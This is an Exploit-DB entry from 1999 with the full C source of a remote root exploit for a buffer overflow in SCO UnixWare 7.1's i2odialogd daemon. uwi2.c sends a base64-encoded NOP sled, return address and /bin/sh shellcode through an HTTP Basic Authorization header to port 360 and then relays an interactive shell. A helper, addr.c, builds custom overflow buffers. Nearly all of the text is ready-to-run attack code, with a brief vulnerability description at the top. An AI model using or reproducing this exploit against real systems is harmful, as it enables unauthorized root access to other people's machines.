Exploit-DB #19680
Description: SCO Unixware 7.1 - i2odialogd Remote Buffer Overflow
Type: remote
Platform: sco
Date: 1999-12-22
Author: Brock Tellier

Exploit:
// source: https://www.securityfocus.com/bid/876/info


UnixWare is a variant of the Unix operating system originally written by SCO, and distributed and maintained by Caldera.

i20dialogd is a daemon which provides a front-end for controlling the i20 subsystem. It is shipped with SCO Unixware and installed running as root by default. In its authentication mechanism exists a serious buffer overflow vulnerability. The username/password buffers are of a fixed length (88+ characters) with no bounds checking performed on them. Because of this it is possible to overflow the buffer, corrupt the stack and overwrite the return address altering the flow of execution (and running arbitrary code). It should be noted that exploit code must be encoded (base64) before being sent to the server. 

/* uwi2.c
 *
 * i2o remote root exploit for UnixWare 7.1
 * compile on UnixWare with cc -o uwi2 uwi2.c -lsocket -lnsl
 * ./uwi2 <hostname> =

 * The hard-coded RET address is 0x8047d4c =

 *
 * To either replace the shellcode or change the offset you must =

 * first craft a program which outputs, in this order:
 * - 92 bytes of your RET address (EIP starts at 89)
 * - NOPs, as many as you would like
 * - your shellcode
 * - the character ":"
 * - any character, maybe "A", as I've done below
 * - NULL
 * When printf()'ing this string, do NOT append a \newline!
 * You then pipe the output of this program to a MIME encoder (mimencode =

 * on UnixWare).  You then take the output of this program and paste it
 * where I've marked below.
 *
 * Brock Tellier btellier@usa.net
 *
*/

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/errno.h>
#include <netdb.h>

#define BUFLEN 10000

/* since we're overflowing an Authenticate: Basic username */
/* our exploit code must be base64(MIME) encoded */

char *mimecode =


/**** CHANGE THIS PART OF THE EXPLOIT STRING ****/
"kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ=
"
"kJCQkJCQTH0ECEx9BAhMfQQITH0ECEx9BAhMfQQITH0ECEx9BAhMfQQITH0ECJCQkJCQkJCQ=
"
"kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ=
"
"kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ=
"
"kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ=
"
"kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ6xteMduJXgeJXgyIXhExwLA7jX4HiflT=
"
"UVZW6xDo4P///y9iaW4vc2iqqqqqmqqqqqoHqpCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ=
"
"kJCQkJCQkJCQkJCQkJCQkJCQkDpB";
/************************************************/

char *auth=
"GET / HTTP/1.0\r\n"
"Host: localhost:360\r\n"
"Accept: text/html\r\n"
"Accept-Encoding: gzip, compress\r\n"
"Accept-Language: en\r\n"
"Negotiate: trans\r\n"
"User-Agent: xnec\r\n"
"Authorization: Basic";

char buf[BUFLEN];
char sockbuf[BUFLEN];
char c;
int offset=0;
int i, ascii,num;
int i2oport = 360;
int sock;
int addr = 0x80474b4;
struct  sockaddr_in sock_a;
struct  hostent *host;

void main (int argc, char *argv[]) {
        =

 if(argc < 2) {
   fprintf(stderr, "Error:Usage: %s <hostname> \n", argv[0]);
   exit(0);
  }
 if(argc == 3) offset=atoi(argv[2]);
 =

 sprintf(buf, "%s %s \r\n\r\n", auth, mimecode);
 buf[BUFLEN - 1] = 0;

 fprintf(stderr, "i2odialogd remote exploit for UnixWare 7.1\n");
 fprintf(stderr, "Brock Tellier btellier@usa.net\n");

 if((host=(struct hostent *)gethostbyname(argv[1])) == NULL) {
    perror("gethostbyname"); =

    exit(-1);
  }
 =

 if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
    perror("create socket");
    exit(-1);
  }

 sock_a.sin_family=AF_INET;
 sock_a.sin_port=htons(i2oport);
 memcpy((char *)&sock_a.sin_addr,(char *)host->h_addr,host->h_length);
 if(connect(sock,(struct sockaddr *)&sock_a,sizeof(sock_a))!=0) {
    perror("create connect");
    exit(-1);
  }

  fflush(stdout);

  // write exploit
  write(sock,buf,strlen(buf));

  //begin read
  while(1) {
    fd_set input;
    FD_SET(0,&input);
    FD_SET(sock,&input);
    select(sock+1,&input,NULL,NULL,NULL);

    if(FD_ISSET(sock,&input)) {
      num=read(sock,sockbuf,BUFLEN);
      write(1,sockbuf,num);
     }
     if(FD_ISSET(0,&input))
     write(sock,sockbuf,read(0,sockbuf,BUFLEN));
  }
}

------

--- addr.c ---

/* =

 * addr.c - Add-on for the UnixWare 7.1 remote root exploit in i2dialogd
 * simply MIME encode the output of this program and put into the =

 * appropriate place in uwi2.c
 * =

 * Usage: cc -o addr addr.c; ./addr <offset> <size>
 *
 * Brock Tellier btellier@usa.net
*/

#include <stdio.h>
#define NOP 0x90

char scoshell[]= =

"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

void main(int argc, char *argv[]) {

long addr;
char buf[2000];
int i;
int offset;
int size = 400;

if (argc > 1) offset = atoi(argv[1]);
if (argc > 2) size = atoi(argv[2]);

addr=0x8046000 + offset;
memset(buf, NOP, size);
for(i=60;i<100;i+=4)*(int *)&buf[i]=addr;
for(i = 0; i < strlen(scoshell); i++)
   buf[i+300] = scoshell[i];
buf[size - 3] = ':'; =

buf[size - 2] = 'A';
buf[size - 1] = 0;
fprintf(stderr, "using addr 0x%x with offset %d \n", addr, offset);
fprintf(stderr, "mime-encode the stdoutput!\n");
printf(buf);

}